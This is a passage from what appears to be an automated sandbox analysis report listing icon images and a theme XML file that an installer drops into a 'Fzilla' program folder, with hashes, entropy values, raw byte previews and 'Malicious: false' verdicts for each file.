SHA-256:	CF6E2E84255A9D0552734C2647352CABE7202BA9EB26411EB4E8134913382E82
SHA-512:	040DA0E15CF88C81003E8D565DFA83BBBC197598D2C535D0BF77D5D9B61343AAF301D5F1D4E48B53AA941E9E694A98ADE16BC8BB22BEE98CEF6C77931BB3FAEB
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS........pR....IDATx.c...;I...{{{sss{0...i.5.:~..}....z.h8<...L..Sm6...I .(.......6,k4.p0......J.>.}{....].....V.Vz.fZ.v...7.}.xx....@.h........ .(.....vFdj.z..JDi......P5...^.~...J;'Z.....`p.h5...D..bw\|.djl.f.\|...du..<).....\|{ ......D@.....b..lh.....;.B.'B....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	267
Entropy (8bit):	6.585867058983375
Encrypted:	false
SSDEEP:	6:6v/lhPfyo3HB7qWWW1hWuyFCBUM0A8R1q9IWHL9Bdp:6v/7/3HB7qehIFCBUMTN9IWL9Bz
MD5:	075CF93A04F8FE691C4F80CC075DF4AD
SHA1:	F8A4B6DA00E0825CDB5CCD3B505F700E2E91BF4D
SHA-256:	6E197169A68E7522122EF51E07A4593AB62C56F69B3360E961ABABC3873AEE48
SHA-512:	7303B627D0DE5D050A8078FE6E25E9242E1030568DC39B05D0A154BB5AF71395CCA22D32CCD8BCB9310FF2E2C7E012F2336AA6F4171379B651DB533F5276B6B1
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE........@.E.N..u.........=;...m530:7...z'''..2???..9..=..5=7*...??377+??)..x777D..S....tRNS.@..f...hIDATx^u.7..0.EA@99.....I......o...$..^...C..[.-...".]...........r.pp...s..........j.....{.../_..5..zn.N...d.^.?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.9401860173289265
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtrPKCl0ltiDHWIiozsVfuuO4CFUgSf+kDfbG83oUYkG9NfigTp:6v/7uNpQzrPKAQUzs9uuOBmgy+0bVrY9
MD5:	FBE9EE1BEDA6A08863008F7496352E97
SHA1:	EA8B483E1ABCEA7290B88DA08BBE44C0D14A42AB
SHA-256:	8A4E3397C871747968B34726470330D6C8B7A64FBDCE7230FB9D3A95E83C428A
SHA-512:	599D290940A74A3F40B7A08B8E4CCCE4FC491888785E268EC3D64FDEA3EA4251F0D3BD4AC5DD5F6AB23D650B2ED5350B0AEC8218D37F2620354DBA1133891A65
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx......1...-&''....I...@ ...b.r.1..@L..@.@..@ 9v.h.._.e...........1.j...T.H.9.SL..1"JI..4&P0.\..CE.K...s..]S.... K...s........k..,...~.F#..&..a.$.@..J.w.aN......<E..Y....u.Y+QD.].n.C.%.k..D...j..{>..I..k...!..D....1J).2.d...n....0.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	277
Entropy (8bit):	6.954009971516475
Encrypted:	false
SSDEEP:	6:6v/lhPHj6DXe7LlvTH2EpUoMUPkWPHIA9E7bp:6v/7fE8N5OlsHne
MD5:	24B13549181DA2656B0FC201CCCB995C
SHA1:	0FE5DD149620499A4BFF6449BBD2607894FF153A
SHA-256:	BBEAC0FE83D3449CFFCBEF985600ABD8F6D87894C40F0D73887F9536C9E61501
SHA-512:	ECB8E1C2CB43C897056A80DB59EC2AF52102ED05987B68E29607F90DF70A660B1B35C3C1D5A1AF8D29B182260457B5BE267ACB79D4503EAA3E5B6B08C6ADBB8A
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....b.0.E...H$...D.....Hd.iO.f...}...[...cd.G\|.......R......r~{g..V ...6X.(E..]..V.2K.b.%......5.4A.0.....`...$H. 8...v.`.m.....>.-...[..].q.[..h.....p.@.=...9;..f4&...,.$.XA.om]...ma._x....K......!.y.7.3.#._.x..\{....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	271
Entropy (8bit):	6.680491562314409
Encrypted:	false
SSDEEP:	6:6v/lhPfd7NsMr8v4Hv6PEthvFbPbr0P1Q2Zkdp:6v/71x56Mht30NZkz
MD5:	2F61E637B813BCA9B871ECF235026B50
SHA1:	895C4638F7D537468EBF8570F12F9A3D86BBDDAF
SHA-256:	DFDEF00CBFE4FDE826A47733A8EACB3E141D27A649B017769923B0F0BEF7B5B2
SHA-512:	615EBCA503854D008CF32E66DFF8B57A384FF12BBDC7731858B2296A76896B5C781D75399DFF602D98B01115D11824F295D2756923556B670A145D8FF9AF9036
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...WPLTE....N???..9..}...D.D///OOO..'......'''.....#..v..@777GGG..8..8..4..<.NE?2..F=7*x.{.....tRNS.@..f...fIDATx.e.a.......q......8...0.(N.,..........\|AQ.n...Z.....L...&..0..5.A..!..,...m..6.\|YC.!....h.'M.....L.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	253
Entropy (8bit):	6.589199519868932
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtwx7bptRnDfOFF3zw9bPl+zWnFfvnYA+5p:6v/7uNpQzOtRnbOX09XlYp3
MD5:	2A6DE504BF1E7FE5E0F257C91DF8B46A
SHA1:	3647BB4594AF43EF4AC4AFBC97D1A939E8245B7D
SHA-256:	2E219AE3D40DB24218BD07BF3A4417DBA9CAF4640AAFA488F7E4C5BFFA08A047
SHA-512:	CFCA6BC6D383FC150C2F43142DCDD619B8774519312DF0DAFC41D07D5438ED9F0F121A9A22568406638E856950E30C89EC965511C25C5EEE9264135D6B10FA74
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx......1.Ds.....E1X..%G...=J...U........mi.EG.....y.>.c..:F.V.....x.SJ...A.. .c...^..#.pO..0.....3'..J.9.{...s.6P.5..B.3.h.Zk).z......x.'.......\|....Z.".....y.;.X..>Fo..A.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	256
Entropy (8bit):	6.60715121340722
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtZz8Jo7pxjRimf9+IWDIVjXpXt1jdGC4cEp:6v/7uNpQzZz8+io9eDarpvjoC4L
MD5:	EE697ECCF7B40949F35206091B062423
SHA1:	9953AB99BEEE24A31073BFA7BB33BEACCB156C8D
SHA-256:	0A7DB44E27BF1601384E20BF80FEBE3C0908873B74E730CEACED27570E0EBEC7
SHA-512:	DA91770845450D8B2EC8811628CE7FF7F54EAC48F65E259822D347F1BCF0FE7B6CD593FA5AC371A7D03790159DB40B7C55EA45E29C4083F3FE8B7A975A2FABE4
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O".@....z..$Q......O.X.....$.....h$B.n........M]...\|.].c.-\..6t..n..~.....pk?6m....n...z......6...5..B....h@h...cZ....m./.e...!...FU....T.zl.z...!...&.5....@rZ........k$b.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	578
Entropy (8bit):	7.26658995284276
Encrypted:	false
SSDEEP:	12:6v/7y8T9ROM+AXyyvP8zGEFVsitMyrvkcnHTQURK:CROMpbvP8zogHTlw
MD5:	BBCA2D3CC54608BA638116EF0D874979
SHA1:	5CABA58951EB7EDC6EC5BB11FB76C20813D501EC
SHA-256:	1162CB65F6D772E4332D9A01D22F5BA5CB1E44AF462F27706CB2079923B3D1F3
SHA-512:	A4464565099F19EF4C92CC4DC18AF197468F63DD3874663CF65B17C5A2C38EDD830E9198F2084B71E3C4B78C2C758EA16CF9032B9CFB5EFB395CA2DCBD912230
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...JPLTE......{.....\|...+'B[V.............CbJ...............:^?u{.}.................{.4.n..Rl.K..Y..t....???7777;7'3'.+.7I.)H."\|}-..).7.gI.Y..........{..d..0.$G...:5..4..3..'./......7.7)1.'B.'e.+.]1.!2..4....2..lN.$A.,.X5..1.......!. y..3..z..4..............q..)..}.....___.....h...........~%.y...m'''........8....2$....!tRNS...................................3.....IDATx.].5.BQ....=.2vA..s\|.L6.....O.........^....P6.<^i.s.H.k.N.........j.......W....E.....'...d..E8.T\|.`..B k..<.*.~`)..6..>_.$......".s.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	6.641511483184927
Encrypted:	false
SSDEEP:	6:6v/lhPfakP/FrbS6XS5WghN+4Q8YsEqqaiG/CMo+p:6v/7XNrbS6XKWghNWmvQGqMT
MD5:	CB8FE1299A47ED7990A83BAE9B3318C8
SHA1:	1C9A2F39C70946C55FDD7FC8B693D48299409EE2
SHA-256:	979C2C56AE97F3E32F932ABE6D3ED2A5D09406EAF84A939AA001A70E48878880
SHA-512:	58F9AE64A4ABA02CCBF62E5C394F2D49B473E463CBC39C9C132047DE400035F8A8FBBC8A4FD9E93471E59E33E26854DFBB8BDA269F0DC43A0E9EB75262318684
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...iPLTE...OOO///4>9.&!.../..G55!4+1.Z'wO....11.;;G##/?7..\1.b,.Y&...77.==.99O11&3,3.^.==?''/.W.99???777...'''...;m2\....tRNS.@..f...dIDATx...S..0....}.l..~..-...L<.... ...........2...a>..kn0....>...h......O...\|.)...w.mg:Nu{]'.......MkTsa....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	7.179085426324849
Encrypted:	false
SSDEEP:	12:6v/7uNpQdmC+bpjrkH6A0ON1mJUf06AjmZLgY:nTim7VjrYOONQUf0xjup
MD5:	BB3914C0242330CAF1177D874D38ED1B
SHA1:	F6BB59FDEB8E4E9F886BF2F72BA0F43B111AD920
SHA-256:	0BCC6BFEB6C060AAE459E937585257F9606D74F3EA9849D387E403531319515C
SHA-512:	E600839ADBE2F4BA62DFF2EFDE906035CC7CE7CFB827F7821825D0537CFB21B838F527F1F248E1B9BA2CE06E5860125C7D20ECEE142C192B5F3D3CBBA862FF0A
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...SIDATx..R.l,Q.ll..m.vc..m.n...j[..mNuv&...].{6........U.j.r.....e".M.._.;....-,........k.....y.'G.E..d..!..J".0...1"G....)....'C.$...6!..6f.J".I..[.^.....1..O.......Y_H.....V#aJ&..s...^..~.H..hu.....O....2.p..H...-u6...J..t....\i.DE>..!..^..0..JC.J A.b`<WRU.......-.2...x..@..J.y6&..V..`..Q\.=F..n.!M........K..-F..n.a..........<...F...7....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	126
Entropy (8bit):	5.510290850843103
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAalD/lryxOdsDM4LWWDa3WqElM26VX/ljp:6v/lhPmNpo/lDtrPQM4LWSGx/dNVp
MD5:	DD96FEDEAD6729D37FD1EBEA04301DCC
SHA1:	33352BF613A0953A537A106BE07FF0021B9807C2
SHA-256:	9F6F305FB9892B704BE8F3045EB026D33740A6168E94575A8F3B2BCA47A1E6E3
SHA-512:	683478492AAA1743BBCA41DF9AD7E8E7318310B35DDE869C206DAF3CDCEEA1BBE16E8D7967A15553D93F3F7EFB3DD078025928DBB2DD8261E084D3346D5C1FFC
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...3IDATx.c.O".....I. /._]...ss.........B...i .$.<=".......{0.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.812500575542161
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAalD/lXhndZdZO3agaYrxsnky/t2up:6v/lhPmNpo/lDtXhdZaaGxsnH/tVp
MD5:	A532BC7AF411B178E07C9A0AFF7A02FE
SHA1:	BF9626BDF573383C6F1060A0EDF3472B1FEED203
SHA-256:	081507F7D6340F2F34960B82C1EEA8CC18284BCD2EB3C64DE676BB494BBFE7A3
SHA-512:	E6C25776E86604ABCCCDBCD888F3ED5AAC697D194167415B8F6A9099CB7724CA135CA59F2A903EBF45098BA40F71CBEE24808AC04CABA963ACD11C833BF2E9B0
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...OIDATx.c.O"......I.?].....@....@.....~pw'1........`n.T.@.....AH_.<..;...xz.&>../.o:.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\32x32\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	591
Entropy (8bit):	7.482771763858642
Encrypted:	false
SSDEEP:	12:6v/7mPlI20Tui4an4j6a2M1tszFhj7sXBeSAhDoyNuc6TVHHbE:DL0Tui4an4xxnsznQxeSAiyNIThg
MD5:	995DEFCB05B6B07983F430988A34A020
SHA1:	FB66FB401038F5542F044B4535174D86299ACF55
SHA-256:	19A88F4BF0C47CF71565E0789D1AE8E8EC6A4B47790A5ECBBB2BFB710F9A529D
SHA-512:	F96C7C6877AF7FB3709DBA9EB4CAF9974E098F3284CEF522334E98F09463D4FC7E9ECE95BA3441281350C5A48F1CCCDA830742BD7D46D1F5B0AFC0195AB32CAE
Malicious:	false
Preview:	.PNG........IHDR... ... .....V.%(....tRNS..v..8....IDATx.b.....xd.....*.l..3A....o.6.m.6:..v.i....\|......).7.\..4..5..I^..u<..=..7&@.@ob.....-.h.D..}sL.BO...5.?T....._ee..O$.\|s3+..U....X...Y...$r..W.X,........'..9.J.v^.L.l.f/w..M.W_...-......d.&.......q"`@X.O2..qS.Y....~...w....~......x...bO)s;VG.Z.C..t.8.............\|m....v......sKr....&6's..d......#.b#. ..bX....;..1..a.P.....k9{.O.....0...`.(Y=..52V.G...$.........-.4'Kq.."@.@..HiUv....mu....D..rr~P3o.id.>..9E..v8+.`..n....U...I..-.pPT..n.UN~.....jQ.@,..d....D".;...D...?..d^.pi{.X...1@l..X...mNm..q.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\32x32\is-O1DLI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	591
Entropy (8bit):	7.482771763858642
Encrypted:	false
SSDEEP:	12:6v/7mPlI20Tui4an4j6a2M1tszFhj7sXBeSAhDoyNuc6TVHHbE:DL0Tui4an4xxnsznQxeSAiyNIThg
MD5:	995DEFCB05B6B07983F430988A34A020
SHA1:	FB66FB401038F5542F044B4535174D86299ACF55
SHA-256:	19A88F4BF0C47CF71565E0789D1AE8E8EC6A4B47790A5ECBBB2BFB710F9A529D
SHA-512:	F96C7C6877AF7FB3709DBA9EB4CAF9974E098F3284CEF522334E98F09463D4FC7E9ECE95BA3441281350C5A48F1CCCDA830742BD7D46D1F5B0AFC0195AB32CAE
Malicious:	false
Preview:	.PNG........IHDR... ... .....V.%(....tRNS..v..8....IDATx.b.....xd.....*.l..3A....o.6.m.6:..v.i....\|......).7.\..4..5..I^..u<..=..7&@.@ob.....-.h.D..}sL.BO...5.?T....._ee..O$.\|s3+..U....X...Y...$r..W.X,........'..9.J.v^.L.l.f/w..M.W_...-......d.&.......q"`@X.O2..qS.Y....~...w....~......x...bO)s;VG.Z.C..t.8.............\|m....v......sKr....&6's..d......#.b#. ..bX....;..1..a.P.....k9{.O.....0...`.(Y=..52V.G...$.........-.4'Kq.."@.@..HiUv....mu....D..rr~P3o.id.>..9E..v8+.`..n....U...I..-.pPT..n.UN~.....jQ.@,..d....D".;...D...?..d^.pi{.X...1@l..X...mNm..q.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\is-4HEU3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	235
Entropy (8bit):	5.050738743085539
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKD4+aQmjBAkKLDWZXRoHUTUZBtGQIKe:TMHdtAg+pm1AvDgXOHKABIQIh
MD5:	9635EA01558056F51261962768AE77C3
SHA1:	E38CC24DD030D14D1BDD753F5EB3123D96B91C39
SHA-256:	BF74E95FDCDCF1466CC9D45D560525FCF7CA87E687AC82885779797BC447766D
SHA-512:	F52D087438E0D594EC64EB417FAACBEB0E85C984031EDC61410C0992D91DDE276D3208C38DF760EFCA28421B407C1385B6C577DA526F03C8C713463BA8C1C38F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Minimal</Name><Author>Fr.d.ric Duarte</Author><Mail>pgase.filezilla@free.fr</Mail><size primary="1">16x16</size><size>32x32</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\minimal\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	235
Entropy (8bit):	5.050738743085539
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKD4+aQmjBAkKLDWZXRoHUTUZBtGQIKe:TMHdtAg+pm1AvDgXOHKABIQIh
MD5:	9635EA01558056F51261962768AE77C3
SHA1:	E38CC24DD030D14D1BDD753F5EB3123D96B91C39
SHA-256:	BF74E95FDCDCF1466CC9D45D560525FCF7CA87E687AC82885779797BC447766D
SHA-512:	F52D087438E0D594EC64EB417FAACBEB0E85C984031EDC61410C0992D91DDE276D3208C38DF760EFCA28421B407C1385B6C577DA526F03C8C713463BA8C1C38F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Minimal</Name><Author>Fr.d.ric Duarte</Author><Mail>pgase.filezilla@free.fr</Mail><size primary="1">16x16</size><size>32x32</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	431
Entropy (8bit):	7.265901174227429
Encrypted:	false
SSDEEP:	12:6v/78O0j6bD+0GUND2YB+LmKY2Bka3lUscic:8h5GUNSw8R1Ga+Uc
MD5:	87C5FFC9A15D5CDD8CD569CAF399ECCF
SHA1:	A19EBD33C4486FB3D02B5DFA0FD7445ED6F370D3
SHA-256:	5B7F643B59C9CEB15D6A2BE4F99783DFE881D5E228CB70DD094981CF31B2A15B
SHA-512:	3AD18A4A0A68F9E9FFEAE82CD7732B9F3FAACD620F62B35AA79698BB94949A596E39A3372EA70CF4E1DFFD892C56FF3CE831BF064A5E50F98642D52793A0F0AC
Malicious:	false
Preview:	.PNG........IHDR................a...vIDATx.....\..@..?...wcL4.2.RF...k...m0.Cn9.g..<.,FFF,....P...r@.".D.........i..&..E.G.(..e....O.\|?...8;;C.4-;.l......r~~...lt&......+. ........g........OtttP]]....'''".....~..IWW7.m.\|.....y.'..?.)........~..!.y...D"....{...1L...5...),(.......3...B.6.b...1FGG............. ....RPP@ii)...TVT".x.x...B....C.u.E..t...D~~~fAcc.\|$..I.mmm...Z .Jdy.@.c..........'.-...4....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	408
Entropy (8bit):	7.173949680245666
Encrypted:	false
SSDEEP:	12:6v/7uNpA2GMitvGINeD6P3Z2Jn1BN3dvOghq1:nTA2GMOJNeD6Pp2J1BNNvOgE1
MD5:	15E2D4DC877FD021401095D683F1EDCF
SHA1:	D03F70D6412E00F77309B82B67656C0CA0CA2ABC
SHA-256:	BACED0B80BD22B31BA27C5E282F5BDA8D4F9961461DCDDF07F7FE42F731ADD6C
SHA-512:	AD197C0A948DE5988349C7271E40C6E2205BA652DB3BC03A5DDD2E4EC109AF22F21BEEC040089FAB05868E51F2023E16DE17863B6FBC7DF1AF5AFC6646FABA20
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n......MIDATx...j.P....>.......O..6...!....Hj.HZ.Jp.f0N.\/.S9.E".7.s....o......`....J.....\|..0........u.Z......eY3......p..`.6...9.4M.f..B...$".0......t.s.G.u.m..0.g?\|..u]/...{.@.4"..j...RF..\....7o.!..D.y...(.4K.>.Q.$.#6.xAq.w].?g'.[.l..?..n.]....cai..........k())Y.x.......333<*.\..]......>.x.w....@..5..qrrr..<0...NHH.k 9y..l^S.y1O.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	243
Entropy (8bit):	6.677692120647699
Encrypted:	false
SSDEEP:	6:6v/lhPmJwPd/ghk9VKKU4FMyfBEyUyaYRl/Vp:6v/7OiPlghkzKJoZHzaYRl/7
MD5:	FA61B19B9CC28C333E3BD132472C96F6
SHA1:	39E767B36CAB8F13DE3C4D7929EBA7DCB5C18495
SHA-256:	96A7D4BEE2188BA7678CBD9538039CFE6F7753408C0505092FCBD5067084108D
SHA-512:	A0FD6A5A6ECDFA3531793ED69DE2BFEABB76E260934048BBFDE9B4F9745CF315D5A66BA109578689CEC105249A32838D2CF948A517B8D3E2AB741B673067FD33
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..v..8....IDATx.U.n.1.......mo.l..-...6....?B..!_..`h..u..Y!......N..q4...3..."C...v>....C...A.X}z.!...cl.K...p+Ct....4.m.z..8...$S..2&.0t".P}.K)..P..dj.....`.P.......'...t..^"....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	659
Entropy (8bit):	7.633728124584686
Encrypted:	false
SSDEEP:	12:6v/7tARA1gzNdHymvUlq3gzvT61idOg/rCK+4Invw3gspYmYeI0ckbbl:w27hdHyf4QDT61s1rCK+RmumYeekbp
MD5:	38575C4B0464A1672964FE6A30365A48
SHA1:	674001A1CC71D73D537EAD4F732ECA88442F9545
SHA-256:	2EEBCEAA84E8E21A2058C81D25C88F268E027C666FE8D08AED67ABB4A9CAEED8
SHA-512:	B70C8AA007BCAD2D7E74EF928A882D248FBC7D561E5AD1F5989DAFC56BAF895FCD5B0B7C81C97AAE4CF69FCCF1C011930A3E9CB48D704C3A6B35DBBD54A33045
Malicious:	false
Preview:	.PNG........IHDR................a...ZIDATx......Q.....m.m[..N!.].m.6....?7g_W}.....y..;Xk...4....G...._..eO....=.Q..5.7_baoc.\..K..55.2...4h.e..B.}<...5m..f]....3.1-S.a...N6.H .. .,].L.Z5..S...J.....RsJ..........m...I...`&....y-[.OM...v.0(4.6.......dG.k.:t..3..R.N.h...7.E........p....l.t..W^q.C..E32...\O......"(.....X......#c.s.m3Y.....wjX..($.\"..~,.....;....$......H..s....~.x.-......sHZ....;.7&A.....w...K-..jPf%.{.'.#..%...4u.V..<.FWK..%h.2zNP.3......f...'Q..--...0DD&'GG.h.3.{d.(...4.b..&&. Y#V.>..\|r.+d....9O....&........v%3E......[........%..u....N.....V.y..8.t_..[).L..*8.U..Y...K'.h.,...k.....'^.z.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	643
Entropy (8bit):	7.514071061699672
Encrypted:	false
SSDEEP:	12:6v/79MNJa43nUJ8UIe1IwZxYUzI9+d9Tkul5J9xH5tMDwURVvuucy3Pg1cw2rDxs:gUJaCnUJ8iyQYcIZul5tHXMEo2pyfkz
MD5:	A7C392870E81052B555F190D48FFF8D6
SHA1:	9BFD73A225F627D2E66A494E9506044D21CA87FF
SHA-256:	B1503DEDFCA7419511395FBA3377527BD9983DBF3F373B260A6AABBD89859DDF
SHA-512:	D892E63E9EBE4363B26E3ED8F24440A28E4242BFCA3ABAC3BAE36724B4D7FCAD49A2C612F4620A1EFDA8A0FF5F67084FAE0C394C7D57BF0E04A2923ABD32A4CC
Malicious:	false
Preview:	.PNG........IHDR................a...JIDATx........../i...m.m.`.m.m.`..m._.b...oT.Q....}..t.UF...R....Z.....r.i..~..y>>19.+{.....QE.u...n.I.....o.$....ui^g..\.....f@...........A4i0.{.S...t..5Oo..m..\..<=....@"J..t...Fj.2..Q.AJ.....M7H...#.C?a..8.Q......Q....... .....@"...H+T.a..(;..Ha..O.0...B..5....B..`Z...A..C .$.. .a..#..A..........O."..d.....,..E.p.,..{.q&..(.@.#..A..`.4............n#.Y.f...NB """.P.I#.....@..H\:..+.!....'.X...%PB..)R...Cd.R}.2;mrLt......$.;..".\8.....%......`...{e...E.k.=.g...9[.....n.....i.#.I26.....a....b.E.......RI.Sm%.."H.-.{.t....K,...\....@.D"...w...{w...G.~.P...C....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	870
Entropy (8bit):	7.706212059387156
Encrypted:	false
SSDEEP:	24:rDbQu6tMc3Ryxz3KWDA//IzZ9tZ161cPpzf6wVQq5erEM8x:rfQulERyxzNE3U3b1rPpzcq5era
MD5:	76C81EEDD0279A4BD28FFCEC055C7348
SHA1:	74CEBD04B70007848B765B60667FCE50033508AE
SHA-256:	98DF84E579D4BEEA20950B22720641203F3ED67C4C845C7B4EC02C7551C85F9A
SHA-512:	F94A6236F4D8DED3EB82B26B859E80ED0D9577A6913EA7F7850ED1177C0BE41B7740FC02AB789C743EDA55AF4FDA492D31FED0D56FC172A7833ACA358491DD08
Malicious:	false
